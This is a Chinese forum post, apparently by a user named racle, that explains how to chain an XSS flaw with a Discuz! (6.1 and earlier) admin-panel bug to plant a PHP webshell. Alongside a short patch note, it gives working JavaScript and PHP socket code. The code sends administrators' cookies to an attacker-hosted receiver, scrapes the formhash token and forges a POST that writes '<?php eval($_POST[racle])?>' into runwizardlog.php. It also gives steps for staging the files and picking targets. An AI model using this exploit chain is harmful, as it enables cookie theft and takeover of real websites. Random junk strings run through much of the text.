Discuz XSS得webshell) @: o0 ^5 P7 H' {2 r; x
By racle @tian6.com
- `! K) Z$ ~) d/ U欢迎转帖.但请保留版权信息.! c* K( O2 ^. x& ^9 s, d7 A1 G$ j
受影响版本 iscuz<=6.1.0,gbk+utf+big5+ `4 s& \7 |4 q+ }
1 a0 p) V; v- \
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
. n0 v$ E2 r+ k8 n( e& J( ~8 l% {% P# J* f$ H, m
9 ^1 H$ L+ [' @8 j1 a* n* c: A3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706 K, f8 a6 u# E( K- m
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工./ r2 y* r; v' }& t
: S% `) d+ e V9 P, I, F. G分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
1 {+ Z5 Z5 ]) k2 M! Z本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
2 }) `/ z' N$ j/ S5 t0 U
" q4 t6 ~ `3 G6 ~- Z# D
u' S2 F' l$ L0 u% Z. I----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ `0 Q& X1 y# \3 b
4 a* o$ M9 s3 M5 {$ L0 g
7 g/ B6 h3 z5 Q/ I
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
' a2 B! {2 F: |# w1 K I# K- f, M# f ?* q0 c% B% s
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
! u8 ?: s% m) q4 `5 D4 _1 H& V# f' J d2 N4 z
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.0 G' _. Y0 g9 I S) f+ n; H
7 o3 p7 G0 d$ N# C
& @- R% m! Z; D# a4 ?5 B$ c下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
" O* }5 I0 o9 v: C. W$ M8 r6 s ]- h( e' Y
global $runwizardfile, $runwizardhistory;
* X% G7 X' @; A! \/ X* F! O' y7 `1 L
$fp = fopen($runwizardfile, 'w');
; s9 \+ P4 Z7 m9 ^- Q' K! q' d$ Z* C$ [* D
fwrite($fp, serialize($runwizardhistory));
/ _, n5 t& `! a' w9 q) I# L* Y; D: D- c# L2 U1 }
fclose($fp);
4 f* q5 A- d2 x' s; `. P+ L1 G
7 t& i0 p7 K6 a. t6 r' j9 f}
4 h$ k7 z q: A* ^# k复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里./ P5 U4 h: h& S+ |. S" d
以下是修补的办法:function saverunwizardhistory() {1 m2 {& z: |2 Q I% W
6 z; J, O' N3 u8 M+ [, R
global $runwizardfile, $runwizardhistory;
9 j2 g. A% g* f, h7 N. U; S9 h3 N: l( T+ b4 [
$fp = fopen($runwizardfile, 'w');7 S6 Q& T3 n3 _& R. r8 Y
7 @8 Z. K- K3 o $s = '<?php exit;?>';; u" k# Y- E+ k/ E; ^
( \& C$ T& }1 v' d) O1 r/ T
$s .= serialize($runwizardhistory);
6 s) }* s3 c( S' j- a, e+ v
3 n" J1 p3 u3 l fwrite($fp, $s);
) k' ~( e+ X6 S9 j& f, k: M( ? c8 Y5 z! X+ W
fclose($fp);2 ^% \7 B4 k& u1 U: F
8 A2 X- D0 R; G, K. o0 B
}; l" L4 P0 q+ E0 ~% p# d
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行./ [* H- d' Y* n! p& ^6 ?% j- @
3 F' g) G& f2 O$ B+ k4 `
# _. A y9 z7 B, m/ |4 l* e% i3 d5 M
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
: j* l7 `2 @7 @! m! z j% g2 d5 z) s' Q/ Y" {+ D& ~1 {0 H
. X" }) j/ R' T; D5 l. b( ^5 n# i 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
5 e0 a$ J$ {7 \( `8 V; w; }) j( R0 W, X' X, a# M' x- N5 @7 y
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
+ b8 @) @5 m8 ~) G, S
0 o7 z6 |% r2 Z/ }% ]这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.& v' X" r0 l! [' {
; ~: b2 p: s a
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:9 I, K: y3 p9 }, @
0 W6 q# V% b" C, p# s
var url="http://目标网站/admincp.php";
$ N6 H0 j) [/ l, M( R' W: z T q. }/ d
/*获得cookies*/0 v$ N3 n# e9 _
0 p7 F2 D! J: \6 R; T' K4 G) T+ C
function getURL(s) {
[* g$ n2 L! W; E/ k( `2 S( ^
4 l4 ^5 B6 ~; q( f' cvar image = new Image();
2 w9 W$ J* Q) Q/ [( Q& y* h9 v+ V4 D W( U" _8 n$ j' W
image.style.width = 0;
7 m, x6 Z R! D% J! V6 ^
& `1 }$ v/ l1 C- t4 himage.style.height = 0;
8 ]4 w5 q' [2 ]8 B5 F5 k8 n& f% F3 L0 F* Q x$ a7 |
image.src = s;: V6 T# s6 B3 \9 S! \( x; g4 P
) e9 {( C3 {3 s# Y' [! s
}; O8 v: ]. o1 s% H; t' ^% x
0 v; q2 s* ~6 g% |# LgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
& d, z- x, e6 ~) ?! |复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 I, K: @. [, p8 d8 E7 D复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
( A% f5 U* B! W* }. B1 ]2 {- A- b; W+ Y+ ^
0 j* Z+ q! {( ~3 G/ t9 d
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";9 K ?% a* i, b: z, U6 S
; H: m( o! |5 d/ o- A t) M
h5 ] J+ v3 ^4 x
# I) U* B, ^: Q/*hash*/
) A& w) }" U+ M t; ~" Z+ H4 u7 d- L4 [# ~) V+ O2 g
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");8 O5 g4 L( |4 K5 {* R$ C
7 i; l' q: D2 k" Z# {
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
' W1 @& R% G, O! g8 L) E, v" |. A, |5 N" g4 y/ C
xmlHttpReq.send();8 L0 G) m. C! P3 e
1 l. n0 f* p. h1 Svar resource = xmlHttpReq.responseText;$ |* c' t2 r+ B/ l2 u
3 W1 I5 b# f0 G) L: H
var numero = resource.search(/formhash/);
1 O* Z. N- ^# h4 K( `7 L# n
, S- X2 P* W1 D4 y% r2 B3 p4 ^var formhash=encodeURIComponent(resource.substr(numero+17,8));
( U/ J4 o, M' G
1 A; X0 k, w0 W8 N8 Z
U8 k2 b- x4 J
' K! v; v0 h- F2 K/ ovar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 7 K1 k1 ^) n& \" M
1 \. K6 x1 s/ g% T' C' K% a' oxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
7 W' G+ F8 E! V" l6 c" y. S \9 h' b
+ ?7 C4 ~8 q4 d/ P1 N2 ]2 F7 exmlHttpReq.setRequestHeader("Referer", url); Y7 R, j& O: i% N# N; u
& p! W0 k9 T' U! q8 m8 jxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");( ~2 S+ M/ V; R9 V4 @! r1 r
- I, t& [& M* e2 bxmlHttpReq.setrequestheader("content-length",post.length);
4 o9 n) `! T9 x& V4 D# O+ s3 u" R: P4 `' B
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
4 \- i( X j7 q8 N3 @9 q
8 @$ y, d$ O/ rxmlHttpReq.send(post);//发送数据( n/ i; t0 ]2 Y; Y k0 g
复制代码这里HASH我假设正确,这样提交,也无须cookies
* O& g; F: e; o! Q# H1 ]9 P
3 l1 d7 N. ^3 K/ U再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
" }+ V2 K, _$ o) s! @$ I
; `) T q6 n L8 nif (!$sock) die("$errstr ($errno)\n");% i! K& |* G8 ]& N1 j# _
- O. Q# v0 Y8 c6 f1 Y! \$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
0 \! ~8 q y9 n+ T7 O2 y4 [ J7 c2 m5 G; o
6 @2 f4 y- R* T/ D- v8 C" y
3 `' o. r, s: L F" Tfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 j. R; A2 R6 K8 K, ]& d5 |0 S
5 V! B1 n) g I( vfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
3 c0 ]. y" w* T6 \6 `: x6 N, j t& ?* o9 g
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");: h' y' O' N$ Y1 x4 C/ Z0 `7 m
/ h# q# P1 R/ @2 g: X
fwrite($sock, "Accept-Language: zh-cn\r\n");
. x" o2 q& q& U# R1 z5 u* k6 t# I& x/ ]3 |& R: f6 X
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
* D% g [9 A) Z/ }# t7 t' @
" w$ V' T. U( R7 Q; wfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");5 [# ^! \1 d7 L0 f" Z
! I$ U% v4 a2 ?( w5 y3 X3 `; Wfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
# j2 u' u; E5 o# n0 X
* q; j0 x; S. sfwrite($sock, "Host: $url\r\n");
! Q4 w( n6 n2 G: }# g9 l1 ?0 Z: X* m# H1 ^
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
$ T; l( _0 \- T; w+ Y& n
( X6 j1 Q$ U |, D5 F1 R8 ~fwrite($sock, "Connection: Keep-Alive\r\n");0 O. s% T4 P# o. P1 s2 i
) _) J. K" r* e* D, Ifwrite($sock, "Cache-Control: no-cache\r\n");- N- |1 c3 u( x7 u% A
D1 ?0 g" M w T! T X
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
# R) X( M! _; _& g u
+ M n* H1 E" e$ Zfwrite($sock, $data);- `- q9 [7 {$ G) j
+ s! G% W4 Q5 f2 ^5 U
* y/ T- x8 K4 g) m% a0 U
! _! o8 |3 W: B/ q
$headers = "";
$ q/ q/ z- Q: G: v& L
! V. g7 [) o6 ^- O- A+ j5 vwhile ($str = trim(fgets($sock, 4096)))
a; l. t" t% L) m% F8 O
% T- \- h8 i$ _ $headers .= "$str\n";3 ?) [9 p; a2 z7 {' P
/ j% m+ e0 t! o1 R: c: S& J* ~
echo "\n";
, w% x' s q9 J" x. b9 r3 q: t; c1 y. Y9 W/ |0 j, N d) `
$body = "";
x( X; c" |3 K: n! U6 l1 L5 p
- s' ]1 J+ z/ M# u- [while (!feof($sock))
6 r' A# B8 F5 } x( z) R" L
7 O8 w6 v& v7 D0 v ~3 M $body .= fgets($sock, 4096);# {2 r" e8 I; `7 o( O$ s. t* }
: `3 a, A( g- ~# ~
fclose($sock);
E# s, m: V4 u# @+ u
5 q0 _& h: u) B3 yecho $body;
% M" D, b+ u. T ^复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^% P/ G6 M/ C8 c0 H
" W. v1 `. x1 c8 {1 E
/ y6 [8 E' Z* x0 K: Q. G-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
6 L: f3 S, v+ u5 k N
4 u& W! A9 `& o1 O+ P/ w: Q. K( r
- h9 H/ c9 f' B1 HP SOCKET利用方法首先打开racle.js$ G5 {. S0 P a5 A- n5 q
' g' o6 a: d% P
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
5 D' z) j; R+ y9 @9 Y" r+ V! y" L- q( s! ]: G0 Z/ J5 A! {
/ p1 x9 E& I' D/ e
! q- o7 ~, D L然后打开racle@tian6.php
( L# b5 \9 y0 X. e* F& q; u/ U( v; W3 p) R v
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
( m1 d8 M! c- S |
; g+ ?( ]9 o7 T- F0 \$ Z* e
; Q; G' G9 F! S8 w5 j
5 K1 E& B0 D3 {; k- b6 P9 Z2 n' |如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( s$ @ {! _, G4 x7 i4 n2 r3 ?
5 p% s0 m1 q: Z# i7 w! Y0 m: IgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie)); m! N# Q. w8 u" T
* Z( M+ R) O5 M! x2 b% l: @. [2 h为0 g4 B* U/ X7 n1 v# Q# L2 f; ?4 X0 k
! D/ e- @8 I! j% NgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
. |: d; Z; g3 T. |( @+ h2 ]8 b) d复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.7 \3 U1 H7 y0 S
: Y/ p3 g* o6 q/ J) ]$ P- g0 b2 h+ ~
0 g, P) T$ c, w5 _& s1 F4 W0 |" S如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
. m5 a8 a P4 j. t( K! I/ {6 Q9 h/ F" O B
var formhash=encodeURIComponent(resource.substr(numero+17,8));
4 F" K# D; k! f% w' Y# d. G( z& j: O! j$ F! l" y5 v8 w; l4 w4 y# q
为2 W% s! e S0 K4 S2 K9 q6 U3 I
* q( }; Z* e. B
var formhash=encodeURIComponent(resource.substr(numero+9,8));
) }5 K9 ]0 R+ @, y7 V$ I! F5 P5 [复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
) n; T, d. p! O3 f4 }; J
. A9 f5 U; L* a7 q/ n& N如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
' A2 P3 i% w8 x2 g) v; U4 C5 F9 I- H0 i! ~. B5 T' s
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
4 l/ H6 J# M1 q% r& M
3 u, P' ^7 ?/ O# G6 O不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
4 ^( l j$ n) Y6 f5 V7 L6 m; h
* F- N: O) C) P1 t) Q |